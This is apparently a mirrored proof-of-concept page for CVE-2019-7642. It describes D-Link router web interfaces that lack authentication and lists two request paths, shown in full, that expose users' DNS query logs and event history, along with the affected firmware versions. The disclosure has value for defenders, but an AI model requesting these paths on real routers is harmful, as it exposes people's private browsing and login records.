CVE-2019-7642 PoC — 多款D-Link产品访问控制错误漏洞

Source

https://github.com/xw77cve/CVE-2019-7642

Associated Vulnerability

Title:多款D-Link产品访问控制错误漏洞 (CVE-2019-7642)
Description:D-Link routers with the mydlink feature have some web interfaces without authentication requirements. An attacker can remotely obtain users' DNS query logs and login logs. Vulnerable targets include but are not limited to the latest firmware versions of DIR-817LW (A1-1.04), DIR-816L (B1-2.06), DIR-816 (B1-2.06?), DIR-850L (A1-1.09), and DIR-868L (A1-1.10).

Readme

# CVE-2019-7642
D-Link routers with the mydlink feature have some web interfaces without authentication requirements. An attacker can remotely obtain users' DNS query logs and login logs.

Vulnerable targets include but are not limited to the latest firmware versions of DIR-817LW (A1-1.04), DIR-816L (B1-2.06), DIR-850L (A1-1.09) and DIR-868L (A1-1.10).

PoC1: http://target/mydlink/get_LogDnsQuery.asp
![poc1](https://github.com/xw77cve/CVE-2019-7642/blob/master/CVE-2019-7642-poc1.PNG)
PoC2: http://target/mydlink/get_TriggedEventHistory.asp
![poc2](https://github.com/xw77cve/CVE-2019-7642/blob/master/CVE-2019-7642-poc2.PNG)

File Snapshot


 [4.0K]  /data/pocs/65ff32c2ddcf51976567a2ca3cf6d2e6a026bd81
├── [113K]  CVE-2019-7642-poc1.PNG
├── [ 93K]  CVE-2019-7642-poc2.PNG
└── [ 631]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!